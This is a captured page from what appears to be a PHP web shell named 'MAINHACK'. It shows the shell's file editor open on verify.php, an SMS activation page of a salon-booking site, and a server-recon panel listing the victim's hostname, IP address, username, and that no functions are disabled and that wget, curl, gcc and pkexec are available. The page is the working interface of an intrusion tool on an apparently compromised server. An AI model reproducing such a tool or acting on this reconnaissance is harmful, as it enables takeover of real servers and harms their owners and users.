[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: verify.php
<?php include("functions.php"); if(!isset($_SESSION['sms_code'])){ header("location: index"); } else { $sms_code = $_SESSION['sms_code']; if(isset($_POST['submit'])){ $code = sql_prep($_POST['code']); $code = test_input($_POST['code']); $select = mysqli_query($new,"SELECT * FROM barber_admin WHERE validation_code = '$sms_code'"); $dbmail = mysqli_fetch_array($select); $db_code = $dbmail['validation_code']; $db_business = $dbmail['business_name']; if($db_code == $sms_code){ $sql = "UPDATE barber_admin SET active = 1 WHERE validation_code = '$sms_code'"; $conn = mysqli_query($new,$sql); $sqll = "UPDATE barber_admin SET validation_code = '' WHERE business_name = '$db_business'"; $connn = mysqli_query($new,$sqll); unset($_SESSION['sms_code']); header("Location : index"); } } } ?> <!DOCTYPE html> <html lang="en"> <head> <!-- Required Meta Tags Always Come First --> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <!-- Title --> <title>Activate account | Thesalonfriend</title> <link rel="shortcut icon" href="../assets/icon.png" type="image/x-icon"> <link rel="icon" href="../assets/icon.png" type="image/x-icon"> <!-- Font --> <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600&display=swap" rel="stylesheet"> <!-- CSS Implementing Plugins --> <link rel="stylesheet" href="./assets/vendor/bootstrap-icons/font/bootstrap-icons.css"> <!-- CSS Unify Template --> <link rel="stylesheet" href="./assets/css/theme.min.css"> </head> <body class="d-flex align-items-center min-h-100 bg-dark"> <!-- ========== MAIN CONTENT ========== --> <main id="content" role="main" class="flex-grow-1 overflow-hidden"> <!-- Content --> <div class="container content-space-t-1 content-space-t-lg-0 content-space-b-2 content-space-b-lg-0"> <div class="mx-lg-auto" style="max-width: 55rem;"> <div class="d-flex justify-content-center align-items-center flex-column min-vh-lg-100"> <!-- ========== END HEADER ========== --> <div class="position-relative"> <!-- Card --> <div class="card card-shadow card-login"> <div class="row"> <div class="col-md-12"> <div class="card-body"> <!-- Form --> <form class="js-validate needs-validation" novalidate method="post"> <div class="text-center"> <div class="mb-5"> <h3 class="card-title">Activation Code </h3> </div> </div> <!-- Form --> <div class="mb-4"> <label class="form-label" for="resetPasswordSrEmail" tabindex="0">Enter verification code</label> <input type="text" class="form-control form-control-lg" name="code" id="resetPasswordSrEmail" tabindex="1" placeholder="Enter your secret code" required> <span class="invalid-feedback">Please enter the code sent to your phone.</span> </div> <!-- End Form --> <div class="d-grid gap-4"> <button type="submit" name="submit" class="btn btn-primary btn-lg">Verify</button> </div> </form> <!-- End Form --> </div> </div> <!-- End Col --> <!-- End Col --> </div> <!-- End Row --> </div> <!-- End Card --> <!-- SVG Shape --> <figure class="position-absolute top-0 end-0 zi-n1 d-none d-sm-block mt-n7 me-n10" style="width: 4rem;"> <img class="img-fluid" src="./assets/svg/components/pointer-up.svg" alt="Image Description"> </figure> <!-- End SVG Shape --> <!-- SVG Shape --> <figure class="position-absolute bottom-0 start-0 d-none d-sm-block ms-n10 mb-n10" style="width: 15rem;"> <img class="img-fluid" src="./assets/svg/components/curved-shape.svg" alt="Image Description"> </figure> <!-- End SVG Shape --> </div> </div> </div> </div> <!-- End Content --> </main> <!-- ========== END MAIN CONTENT ========== --> <!-- JS Global Compulsory --> <script src="./assets/vendor/bootstrap/dist/js/bootstrap.bundle.min.js"></script> <!-- JS Implementing Plugins --> <!-- JS Unify --> <script src="./assets/js/theme.min.js"></script> <!-- JS Plugins Init. --> <script> (function() { HSBsValidation.init('.js-validate', { }) })() </script> </body> </html>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 60.08 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002